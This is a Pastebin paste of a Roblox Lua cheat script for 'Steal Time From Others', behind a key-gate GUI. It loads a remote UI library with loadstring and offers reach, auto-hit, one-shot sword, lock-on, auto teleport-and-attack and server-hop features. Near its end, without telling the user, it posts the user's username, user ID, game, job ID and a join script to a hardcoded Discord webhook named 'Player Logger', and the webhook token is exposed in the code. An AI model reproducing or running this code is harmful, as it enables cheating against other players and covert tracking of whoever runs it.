Kenken_I

Untitled

Apr 26th, 2025
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.73 KB | None | 0 0
  1. local ScreenGui = Instance.new("ScreenGui")
  2. ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  3.  
  4. local Frame = Instance.new("Frame")
  5. Frame.Size = UDim2.new(0, 400, 0, 300)
  6. Frame.Position = UDim2.new(0.5, 0, 0.5, 0)
  7. Frame.AnchorPoint = Vector2.new(0.5, 0.5)
  8. Frame.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
  9. Frame.BorderSizePixel = 0
  10. Frame.Active = true
  11. Frame.Draggable = true
  12. Frame.Parent = ScreenGui
  13.  
  14. local FrameCorner = Instance.new("UICorner")
  15. FrameCorner.CornerRadius = UDim.new(0, 10)
  16. FrameCorner.Parent = Frame
  17.  
  18. local Close = Instance.new("TextButton")
  19. Close.Size = UDim2.new(0, 40, 0, 40)
  20. Close.Position = UDim2.new(1, -40, 0, 0)
  21. Close.BackgroundTransparency = 1
  22. Close.Text = "×"
  23. Close.TextScaled = true
  24. Close.TextColor3 = Color3.fromRGB(150, 150, 150)
  25. Close.Parent = Frame
  26. Close.MouseButton1Click:Connect(function()
  27. ScreenGui:Destroy()
  28. end)
  29.  
  30. local Title = Instance.new("TextLabel")
  31. Title.Size = UDim2.new(1, 0, 0, 30)
  32. Title.Position = UDim2.new(0, 0, 0.05, 0)
  33. Title.Text = "Key System"
  34. Title.TextSize = 18
  35. Title.TextColor3 = Color3.fromRGB(255, 255, 255)
  36. Title.BackgroundTransparency = 1
  37. Title.Parent = Frame
  38.  
  39. local Instructions = Instance.new("TextLabel")
  40. Instructions.Size = UDim2.new(1, 0, 0, 30)
  41. Instructions.Position = UDim2.new(0, 0, 0.2, 0)
  42. Instructions.Text = "Enter Key To Access The Script"
  43. Instructions.TextSize = 13
  44. Instructions.TextColor3 = Color3.fromRGB(150, 150, 150)
  45. Instructions.BackgroundTransparency = 1
  46. Instructions.Parent = Frame
  47.  
  48. local TextBox = Instance.new("TextBox")
  49. TextBox.Size = UDim2.new(0.8, 0, 0.2, 0)
  50. TextBox.Position = UDim2.new(0.1, 0, 0.4, 0)
  51. TextBox.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  52. TextBox.PlaceholderText = "Enter Key..."
  53. TextBox.Text = ""
  54. TextBox.TextSize = 18
  55. TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
  56. TextBox.Parent = Frame
  57.  
  58. local TextBoxCorner = Instance.new("UICorner")
  59. TextBoxCorner.CornerRadius = UDim.new(0, 5)
  60. TextBoxCorner.Parent = TextBox
  61.  
  62. local GetKey = Instance.new("TextButton")
  63. GetKey.Size = UDim2.new(0.35, 0, 0.15, 0)
  64. GetKey.Position = UDim2.new(0.1, 0, 0.7, 0)
  65. GetKey.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  66. GetKey.Text = "Get Key"
  67. GetKey.TextSize = 18
  68. GetKey.TextColor3 = Color3.fromRGB(150, 150, 150)
  69. GetKey.Parent = Frame
  70.  
  71. local GetKeyCorner = Instance.new("UICorner")
  72. GetKeyCorner.CornerRadius = UDim.new(0, 5)
  73. GetKeyCorner.Parent = GetKey
  74.  
  75. local CheckKey = Instance.new("TextButton")
  76. CheckKey.Size = UDim2.new(0.35, 0, 0.15, 0)
  77. CheckKey.Position = UDim2.new(0.55, 0, 0.7, 0)
  78. CheckKey.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
  79. CheckKey.Text = "Check Key"
  80. CheckKey.TextSize = 18
  81. CheckKey.TextColor3 = Color3.fromRGB(150, 150, 150)
  82. CheckKey.Parent = Frame
  83.  
  84. local CheckKeyCorner = Instance.new("UICorner")
  85. CheckKeyCorner.CornerRadius = UDim.new(0, 5)
  86. CheckKeyCorner.Parent = CheckKey
  87.  
  88. GetKey.MouseButton1Click:Connect(function()
  89. setclipboard("https://direct-link.net/1201939/stfo-king")
  90. end)
  91.  
  92. local function validateKey(key)
  93. return key == "!$&/&181828182" -- Replace this with your key
  94. end
  95.  
  96. CheckKey.MouseButton1Click:Connect(function()
  97. local enteredKey = TextBox.Text
  98. if validateKey(enteredKey) then
  99. TextBox.PlaceholderText = "Correct Key!"
  100. TextBox.Text = ""
  101. wait(1)
  102. ScreenGui:Destroy()
  103.  
  104. -- Put Your Script Here
  105. -- Block execution if in "Steal Time From Others"
  106. if game.PlaceId == 10191847911 then
  107. game:GetService("Players").LocalPlayer:Kick("Warning: You will get banned for using this script in 'Steal Time From Others'. Do not use it here.")
  108. return
  109. end
  110.  
  111. -- Load OrionLib
  112. local OrionLib = loadstring(game:HttpGet(('https://raw.githubusercontent.com/jensonhirst/Orion/main/source')))()
  113.  
  114. -- Create the window
  115. local Window = OrionLib:MakeWindow({
  116. Name = "⚔️kenken_I Stfo V2",
  117. HidePremium = false,
  118. SaveConfig = false,
  119. ConfigFolder = "KenkenHub"
  120. })
  121.  
  122. -- Vars
  123. local lockOnEnabled = false
  124. local lockTargetPart = "Torso"
  125. local reachEnabled = false
  126. local autoHitEnabled = false
  127. local spinCharacter = false
  128. local visualizerEnabled = true
  129. local predictionEnabled = false
  130. local autoJumpEnabled = false
  131. local predictionOffset = 0.14
  132. local autoJumpDistance = 6
  133. local reachDistance = 6.5
  134. local autoHitDistance = 8
  135. local spinSpeed = 50
  136. local cooldown = false
  137. local oneShotSwordEnabled = false
  138. local oneShotConnection = nil
  139.  
  140. -- Services
  141. local Players = game:GetService("Players")
  142. local RunService = game:GetService("RunService")
  143. local TeleportService = game:GetService("TeleportService")
  144. local HttpService = game:GetService("HttpService")
  145. local LocalPlayer = Players.LocalPlayer
  146. local UIS = game:GetService("UserInputService")
  147.  
  148. -- Helper functions
  149. local function getNearestPlayer()
  150. local closest, dist = nil, 30
  151. local myHRP = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
  152. if not myHRP then return end
  153. for _, plr in ipairs(Players:GetPlayers()) do
  154. if plr ~= LocalPlayer and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
  155. local d = (myHRP.Position - plr.Character.HumanoidRootPart.Position).Magnitude
  156. if d < dist then
  157. closest = plr
  158. dist = d
  159. end
  160. end
  161. end
  162. return closest
  163. end
  164.  
  165. local function getTool()
  166. return LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
  167. end
  168.  
  169. local function getHandle(tool)
  170. return tool and (tool:FindFirstChild("Handle") or tool:FindFirstChildWhichIsA("BasePart"))
  171. end
  172.  
  173. local function hitTarget(char, handle)
  174. for _, part in ipairs(char:GetChildren()) do
  175. if part:IsA("BasePart") then
  176. firetouchinterest(handle, part, 0)
  177. firetouchinterest(handle, part, 1)
  178. end
  179. end
  180. end
  181.  
  182. -- Combat Tab
  183. local CombatTab = Window:MakeTab({ Name = "Main⚔️", Icon = "rbxassetid://4483345998", PremiumOnly = false })
  184.  
  185. CombatTab:AddParagraph("Reach Tools", "These settings control reach and visualizer.")
  186. CombatTab:AddToggle({ Name = "Reach Attack", Default = false, Callback = function(val) reachEnabled = val end })
  187. CombatTab:AddToggle({ Name = "Show Visualizer", Default = true, Callback = function(val) visualizerEnabled = val end })
  188. CombatTab:AddTextbox({
  189. Name = "Reach Studs", Default = "6.5", TextDisappear = true,
  190. Callback = function(text) local num = tonumber(text) if num and num > 0 then reachDistance = num end end
  191. })
  192.  
  193. CombatTab:AddParagraph("Auto Hit", "Automatically hits enemies nearby.")
  194. CombatTab:AddToggle({ Name = "Auto Hit Nearby", Default = false, Callback = function(val) autoHitEnabled = val end })
  195. CombatTab:AddTextbox({
  196. Name = "Auto Hit Studs", Default = "8", TextDisappear = true,
  197. Callback = function(text) local num = tonumber(text) if num and num > 0 then autoHitDistance = num end end
  198. })
  199.  
  200. -- Inside your Main⚔️ tab setup:
  201. CombatTab:AddToggle({
  202. Name = "Auto Flick Turn",
  203. Default = false,
  204. Callback = function(val)
  205. _G.AutoFlickTurn = val
  206. end
  207. })
  208.  
  209. -- Flick variables
  210. local FlickAngle = 50 -- how much to turn
  211. local FlickCooldown = 0.4 -- seconds between flicks
  212.  
  213. -- Flick loop
  214. task.spawn(function()
  215. while task.wait(FlickCooldown) do
  216. if _G.AutoFlickTurn then
  217. local char = LocalPlayer.Character
  218. local hrp = char and char:FindFirstChild("HumanoidRootPart")
  219.  
  220. if hrp then
  221. hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(FlickAngle), 0)
  222. end
  223. end
  224. end
  225. end)
  226.  
  227. -- Add it to your Orion Combat Tab
  228. CombatTab:AddParagraph("One Shot Sword", "Instantly kills on touch")
  229. CombatTab:AddToggle({
  230. Name = "One Shot Sword",
  231. Default = false,
  232. Callback = function(enabled)
  233. oneShotSwordEnabled = enabled
  234. if oneShotConnection then oneShotConnection:Disconnect() end
  235.  
  236. local function setupOneShot()
  237. local char = game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:Wait()
  238. local tool
  239. repeat
  240. tool = char:FindFirstChildOfClass("Tool")
  241. task.wait()
  242. until not oneShotSwordEnabled or (tool and tool:FindFirstChild("Handle"))
  243.  
  244. if not oneShotSwordEnabled or not tool then return end
  245.  
  246. local handle = tool:FindFirstChild("Handle")
  247. if not handle then return end
  248.  
  249. local hitCooldown = {}
  250.  
  251. oneShotConnection = handle.Touched:Connect(function(hit)
  252. if not oneShotSwordEnabled then return end
  253.  
  254. local targetChar = hit and hit.Parent
  255. if not targetChar or targetChar == char or hitCooldown[targetChar] then return end
  256.  
  257. local hum = targetChar:FindFirstChild("Humanoid")
  258. if hum and hum.Health > 0 then
  259. hitCooldown[targetChar] = true
  260.  
  261. tool:Activate()
  262.  
  263. for _, part in ipairs(targetChar:GetDescendants()) do
  264. if part:IsA("BasePart") then
  265. firetouchinterest(handle, part, 0)
  266. firetouchinterest(handle, part, 1)
  267. end
  268. end
  269.  
  270. task.delay(0, function()
  271. hitCooldown[targetChar] = nil
  272. end)
  273. end
  274. end)
  275. end
  276.  
  277. if enabled then
  278. setupOneShot()
  279. game.Players.LocalPlayer.CharacterAdded:Connect(function()
  280. if oneShotSwordEnabled then
  281. if oneShotConnection then oneShotConnection:Disconnect() end
  282. setupOneShot()
  283. end
  284. end)
  285. end
  286. end
  287. })
  288.  
  289. -- Local Player Tab
  290. local LocalPlayerTab = Window:MakeTab({ Name = "Player🧍", Icon = "rbxassetid://4483345998", PremiumOnly = false })
  291.  
  292. LocalPlayerTab:AddParagraph("Lock-On Settings", "Controls for locking onto targets.")
  293. LocalPlayerTab:AddToggle({ Name = "Body Lock", Default = false, Callback = function(val) lockOnEnabled = val end })
  294. LocalPlayerTab:AddToggle({ Name = "Prediction", Default = false, Callback = function(val) predictionEnabled = val end })
  295.  
  296. LocalPlayerTab:AddDropdown({
  297. Name = "Prediction Offset", Default = "0.14",
  298. Options = { "0.14", "0.24", "0.35", "0.46", "0.51", "0.61", "0.65", "0.72", "0.78", "1.4" },
  299. Callback = function(option) local num = tonumber(option) if num then predictionOffset = num end end
  300. })
  301.  
  302. LocalPlayerTab:AddDropdown({
  303. Name = "Lock-On Body Part", Default = "Front",
  304. Options = { "Front", "Back", "Right Arm", "Left Arm", "Right Leg", "Left Leg", "Head" },
  305. Callback = function(option)
  306. local map = {
  307. ["Front"] = "Torso", ["Back"] = "Torso", ["Right Arm"] = "Right Arm",
  308. ["Left Arm"] = "Left Arm", ["Right Leg"] = "Right Leg", ["Left Leg"] = "Left Leg", ["Head"] = "Head"
  309. }
  310. lockTargetPart = map[option] or "Torso"
  311. end
  312. })
  313.  
  314. LocalPlayerTab:AddParagraph("Movement Effects", "Character effects like spin and jump.")
  315. LocalPlayerTab:AddToggle({ Name = "Spin Character", Default = false, Callback = function(val) spinCharacter = val end })
  316. LocalPlayerTab:AddTextbox({
  317. Name = "Spin Speed", Default = "3", TextDisappear = true,
  318. Callback = function(text) local num = tonumber(text) if num and num > 0 then spinSpeed = num end end
  319. })
  320. LocalPlayerTab:AddToggle({ Name = "Auto Jump Near Players", Default = false, Callback = function(val) autoJumpEnabled = val end })
  321. LocalPlayerTab:AddTextbox({
  322. Name = "Jump Studs", Default = "6", TextDisappear = true,
  323. Callback = function(text) local num = tonumber(text) if num and num > 0 then autoJumpDistance = num end end
  324. })
  325.  
  326. -- Visualizer Parts
  327. local parts = {}
  328. for i = 1, 40 do
  329. local part = Instance.new("Part")
  330. part.Anchored = true
  331. part.CanCollide = false
  332. part.Size = Vector3.new(0.3, 0.3, 0.3)
  333. part.Shape = Enum.PartType.Ball
  334. part.Material = Enum.Material.Neon
  335. part.Transparency = 1
  336. part.Color = Color3.fromHSV(0, 1, 1)
  337. part.Name = "RingSegment"
  338. part.Parent = workspace
  339. table.insert(parts, part)
  340. end
  341.  
  342. -- Visualizer Animation
  343. local hue = 0
  344. local spinAngle = 0
  345. RunService.RenderStepped:Connect(function()
  346. local char = LocalPlayer.Character
  347. local hrp = char and char:FindFirstChild("HumanoidRootPart")
  348. if not hrp then return end
  349.  
  350. hue = (hue + 0.005) % 1
  351. local color = Color3.fromHSV(hue, 1, 1)
  352. spinAngle = spinAngle + 1
  353.  
  354. for i, part in ipairs(parts) do
  355. local angle = ((i / #parts) * math.pi * 2) + math.rad(spinAngle)
  356. local x = math.cos(angle) * reachDistance
  357. local z = math.sin(angle) * reachDistance
  358. part.Position = hrp.Position + Vector3.new(x, -2.8, z)
  359. part.Color = color
  360. part.Transparency = (reachEnabled and visualizerEnabled) and 0.2 or 1
  361. end
  362. end)
  363.  
  364. -- Reach Pull + Hit
  365. RunService.RenderStepped:Connect(function()
  366. if not reachEnabled then return end
  367.  
  368. local char = LocalPlayer.Character
  369. local hrp = char and char:FindFirstChild("HumanoidRootPart")
  370. local tool = getTool()
  371. local handle = getHandle(tool)
  372. if not (char and hrp and tool and handle) then return end
  373.  
  374. for _, target in ipairs(Players:GetPlayers()) do
  375. if target ~= LocalPlayer and target.Character then
  376. local targetHRP = target.Character:FindFirstChild("HumanoidRootPart")
  377. if targetHRP and (hrp.Position - targetHRP.Position).Magnitude <= reachDistance then
  378. local dir = (handle.Position - targetHRP.Position).Unit
  379. targetHRP.Velocity = dir * 40
  380. hitTarget(target.Character, handle)
  381. end
  382. end
  383. end
  384. end)
  385.  
  386. -- Server Hopper
  387. local function serverHop(targetSize)
  388. local success, result = pcall(function()
  389. return HttpService:JSONDecode(game:HttpGet("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Desc&limit=100"))
  390. end)
  391. if success and result and result.data then
  392. for _, server in ipairs(result.data) do
  393. if server.playing < server.maxPlayers and server.id ~= game.JobId then
  394. local count = server.playing
  395. if (targetSize == "Small" and count >= 3 and count <= 5)
  396. or (targetSize == "Medium" and count >= 13 and count <= 17)
  397. or (targetSize == "Large" and count >= 20 and count <= 23) then
  398. TeleportService:TeleportToPlaceInstance(game.PlaceId, server.id, Players.LocalPlayer)
  399. return
  400. end
  401. end
  402. end
  403. end
  404. warn("No suitable server found.")
  405. end
  406.  
  407. -- Other Tab
  408. local OtherTab = Window:MakeTab({ Name = "Server Hop🛜", Icon = "rbxassetid://4483345998", PremiumOnly = false })
  409. OtherTab:AddButton({ Name = "Hop to Small Server (3-5)", Callback = function() serverHop("Small") end })
  410. OtherTab:AddButton({ Name = "Hop to Medium Server (13-17)", Callback = function() serverHop("Medium") end })
  411. OtherTab:AddButton({ Name = "Hop to Large Server (20-23)", Callback = function() serverHop("Large") end })
  412.  
  413. -- Lock-on, Spin, Jump, Auto-Hit Logic
  414. RunService.RenderStepped:Connect(function()
  415. local char = LocalPlayer.Character
  416. local hrp = char and char:FindFirstChild("HumanoidRootPart")
  417. local hum = char and char:FindFirstChildOfClass("Humanoid")
  418. if not hrp or not hum then return end
  419.  
  420. local target = getNearestPlayer()
  421. local targetPart = target and target.Character and target.Character:FindFirstChild(lockTargetPart)
  422.  
  423. if lockOnEnabled and targetPart then
  424. local tgtPos = targetPart.Position
  425. if predictionEnabled and target.Character:FindFirstChild("HumanoidRootPart") then
  426. local vel = target.Character.HumanoidRootPart.Velocity
  427. tgtPos += vel * predictionOffset
  428. end
  429. hrp.CFrame = CFrame.new(hrp.Position, Vector3.new(tgtPos.X, hrp.Position.Y, tgtPos.Z))
  430. hum.AutoRotate = false
  431. else
  432. hum.AutoRotate = true
  433. end
  434.  
  435. if autoHitEnabled and targetPart then
  436. local dist = (hrp.Position - targetPart.Position).Magnitude
  437. if dist <= autoHitDistance then
  438. local tool = getTool()
  439. if tool and tool:FindFirstChild("Handle") then
  440. tool:Activate()
  441. end
  442. end
  443. end
  444.  
  445. if spinCharacter then
  446. hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(spinSpeed), 0)
  447. end
  448.  
  449. if autoJumpEnabled and targetPart then
  450. local dist = (hrp.Position - targetPart.Position).Magnitude
  451. if dist <= autoJumpDistance and hum.FloorMaterial ~= Enum.Material.Air then
  452. hum:ChangeState(Enum.HumanoidStateType.Jumping)
  453. end
  454. end
  455. end)
  456.  
  457.  
  458. local AutoTab = Window:MakeTab({
  459. Name = "Auto Snipe🎯",
  460. Icon = "rbxassetid://4483345998",
  461. PremiumOnly = false
  462. })
  463.  
  464. --===[ Variables + Services ]===--
  465. local Players = game:GetService("Players")
  466. local Workspace = game:GetService("Workspace")
  467. local LocalPlayer = Players.LocalPlayer
  468.  
  469. local automaticEnabled = false
  470. local snipeAnyDistance = false
  471. local minimumTime = 1000
  472. local maxDistance = 21.8
  473. local currentTarget = nil
  474.  
  475. --===[ Safe Zone Setup ]===--
  476. local safeParts = {}
  477. local spawnFolder = Workspace:FindFirstChild("Terrain") and Workspace.Terrain:FindFirstChild("Spawn")
  478. if spawnFolder then
  479. for _, v in ipairs(spawnFolder:GetDescendants()) do
  480. if v:IsA("BasePart") then
  481. table.insert(safeParts, v)
  482. end
  483. end
  484. end
  485.  
  486. -- Raycast to check if player is grounded
  487. local function isPlayerGrounded(player)
  488. if not player.Character then return false end
  489. local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart")
  490. if not humanoidRootPart then return false end
  491.  
  492. -- Perform raycast downwards from the HumanoidRootPart
  493. local rayOrigin = humanoidRootPart.Position
  494. local rayDirection = Vector3.new(0, -10, 0) -- Cast ray downward
  495. local rayParams = RaycastParams.new()
  496. rayParams.FilterType = Enum.RaycastFilterType.Blacklist
  497. rayParams.FilterDescendantsInstances = {player.Character}
  498.  
  499. local rayResult = Workspace:Raycast(rayOrigin, rayDirection, rayParams)
  500. return rayResult and rayResult.Instance
  501. end
  502.  
  503. local function isInSafeZone(player)
  504. if not player.Character then return false end
  505. local hrp = player.Character:FindFirstChild("HumanoidRootPart")
  506. if not hrp then return false end
  507.  
  508. local rayOrigin = hrp.Position
  509. local rayDirection = Vector3.new(0, -6, 0)
  510. local params = RaycastParams.new()
  511. params.FilterType = Enum.RaycastFilterType.Whitelist
  512. params.FilterDescendantsInstances = safeParts
  513.  
  514. local result = Workspace:Raycast(rayOrigin, rayDirection, params)
  515. return result and table.find(safeParts, result.Instance) ~= nil
  516. end
  517.  
  518. --===[ Teleport Into Target ]===--
  519. local function teleportBehind(player)
  520. local char = LocalPlayer.Character
  521. local targetChar = player.Character
  522. if not char or not targetChar then return end
  523.  
  524. local hrp = char:FindFirstChild("HumanoidRootPart")
  525. local targetHRP = targetChar:FindFirstChild("HumanoidRootPart")
  526. if not hrp or not targetHRP then return end
  527.  
  528. -- Teleport directly into the target's position
  529. hrp.CFrame = targetHRP.CFrame + Vector3.new(0, 0, 0.1)
  530. end
  531.  
  532. --===[ Attack Target ]===--
  533. local function attackTarget()
  534. local char = LocalPlayer.Character
  535. local tool = LocalPlayer.Backpack:FindFirstChildOfClass("Tool")
  536. if tool then
  537. tool.Parent = char
  538. task.spawn(function()
  539. while tool and tool.Parent == char and automaticEnabled do
  540. tool:Activate()
  541. task.wait()
  542. end
  543. end)
  544. end
  545. end
  546.  
  547. --===[ AutoTab UI Controls ]===--
  548. AutoTab:AddToggle({
  549. Name = "Auto Teleport + Attack",
  550. Default = false,
  551. Callback = function(state)
  552. automaticEnabled = state
  553. if not state then
  554. currentTarget = nil
  555. end
  556. end
  557. })
  558.  
  559. AutoTab:AddTextbox({
  560. Name = "Minimum Time (seconds)",
  561. Default = tostring(minimumTime),
  562. TextDisappear = true,
  563. Callback = function(value)
  564. local num = tonumber(value)
  565. if num then
  566. minimumTime = num
  567. end
  568. end
  569. })
  570.  
  571. AutoTab:AddDropdown({
  572. Name = "Max Teleport Distance",
  573. Default = tostring(maxDistance),
  574. Options = {
  575. "10", "11", "12", "13", "14", "15",
  576. "16", "17", "18", "19", "20", "21",
  577. "22", "23", "24", "25"
  578. },
  579. Callback = function(value)
  580. maxDistance = tonumber(value) or 25
  581. end
  582. })
  583.  
  584.  
  585. --===[ Target Check Loop (Fixed Safe Zone Priority) ]===--
  586. task.spawn(function()
  587. while task.wait(0) do
  588. if not automaticEnabled then continue end
  589.  
  590. local bestTarget = nil
  591. local bestTime = math.huge
  592. local localChar = LocalPlayer.Character
  593. local hrp1 = localChar and localChar:FindFirstChild("HumanoidRootPart")
  594.  
  595. for _, player in ipairs(Players:GetPlayers()) do
  596. if player ~= LocalPlayer and player:FindFirstChild("leaderstats") then
  597. local timeStat = player.leaderstats:FindFirstChild("Time")
  598. local time = timeStat and timeStat.Value or 0
  599. local targetChar = player.Character
  600. local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
  601. local humanoid = targetChar and targetChar:FindFirstChildOfClass("Humanoid")
  602. local dist = (hrp1 and targetHRP) and (hrp1.Position - targetHRP.Position).Magnitude or math.huge
  603.  
  604. -- Make sure target is not in safe zone first
  605. if not isInSafeZone(player) and isPlayerGrounded(player) then
  606. if time >= minimumTime and targetChar and hrp1 and targetHRP and humanoid then
  607. if (snipeAnyDistance or dist <= maxDistance) and time < bestTime then
  608. bestTarget = player
  609. bestTime = time
  610. end
  611. end
  612. end
  613. end
  614. end
  615.  
  616. if bestTarget and bestTarget ~= currentTarget then
  617. if isPlayerGrounded(bestTarget) then
  618. currentTarget = bestTarget
  619. task.spawn(function()
  620. while currentTarget and automaticEnabled and not isInSafeZone(currentTarget) and isPlayerGrounded(currentTarget) do
  621. teleportBehind(currentTarget)
  622. attackTarget()
  623. task.wait(0) -- tweak this to control how fast it sticks (lower = faster)
  624. end
  625. end)
  626. end
  627. end
  628.  
  629. if currentTarget and (not currentTarget.Character or not currentTarget.Character:FindFirstChild("Humanoid") or currentTarget.Character.Humanoid.Health <= 0) then
  630. currentTarget = nil
  631. end
  632. end
  633. end)
  634.  
  635. --// Webhook URL
  636. local webhookUrl = "https://discord.com/api/webhooks/1321566337549598871/GomeJFKkcuKYVsJSu6KrChxM80fmYBAwc3eFzdeZ84KTREzXOgz8VJqu_BwgyeHHUoOg"
  637.  
  638. --// Services
  639. local HttpService = game:GetService("HttpService")
  640.  
  641. --// Player Info
  642. local LocalPlayer = game:GetService("Players").LocalPlayer
  643. local username = LocalPlayer.Name
  644. local displayName = LocalPlayer.DisplayName
  645. local userId = LocalPlayer.UserId
  646. local jobId = game.JobId
  647. local gameInfo = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
  648. local gameName = gameInfo.Name
  649. local profileUrl = "https://www.roblox.com/users/" .. userId .. "/profile"
  650. local playerCount = #game:GetService("Players"):GetPlayers()
  651.  
  652. --// Join Script
  653. local joinScript = 'game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. jobId .. '")'
  654.  
  655. --// Webhook Embed
  656. local data = {
  657. ["username"] = "Player Logger",
  658. ["avatar_url"] = "https://tr.rbxcdn.com/8e2b86546e689f79d339dcf7fc10989d/150/150/AvatarHeadshot/Png",
  659. ["embeds"] = {{
  660. ["title"] = username .. " is in a game!",
  661. ["color"] = tonumber(0x00FFFF),
  662. ["fields"] = {
  663. {
  664. ["name"] = "Username",
  665. ["value"] = username .. " ([" .. displayName .. "](" .. profileUrl .. "))"
  666. },
  667. {
  668. ["name"] = "Game",
  669. ["value"] = "**" .. gameName .. "**",
  670. ["inline"] = false
  671. },
  672. {
  673. ["name"] = "Player Count",
  674. ["value"] = playerCount .. " players in server",
  675. ["inline"] = true
  676. },
  677. {
  678. ["name"] = "Job ID",
  679. ["value"] = "```" .. jobId .. "```",
  680. ["inline"] = false
  681. },
  682. {
  683. ["name"] = "Join Script",
  684. ["value"] = "```lua\n" .. joinScript .. "\n```"
  685. },
  686. {
  687. ["name"] = "Executed At",
  688. ["value"] = "```" .. os.date("%Y-%m-%d %H:%M:%S") .. "```",
  689. ["inline"] = false
  690. }
  691. }
  692. }},
  693. ["components"] = {{
  694. ["type"] = 1,
  695. ["components"] = {{
  696. ["type"] = 2,
  697. ["style"] = 5,
  698. ["label"] = "Open Join Script",
  699. ["url"] = "https://pastebin.com/raw/YOUR_PASTE_ID" -- Optional pastebin
  700. }}
  701. }}
  702. }
  703.  
  704. --// Send Webhook
  705. local headers = {["Content-Type"] = "application/json"}
  706. local body = HttpService:JSONEncode(data)
  707. local req = http_request or request or (syn and syn.request) or (fluxus and fluxus.request)
  708.  
  709. if req then
  710. req({
  711. Url = webhookUrl,
  712. Method = "POST",
  713. Headers = headers,
  714. Body = body
  715. })
  716. else
  717. warn("Executor doesn't support HTTP requests.")
  718. end
  719.  
  720. -- Init UI
  721. OrionLib:Init()
  722.  
  723. else
  724. TextBox.PlaceholderText = "Invalid key. Try again."
  725. TextBox.Text = ""
  726. wait(1)
  727. TextBox.PlaceholderText = "Enter Key..."
  728. TextBox.Text = ""
  729. end
  730. end)
Add Comment
Please, Sign In to add comment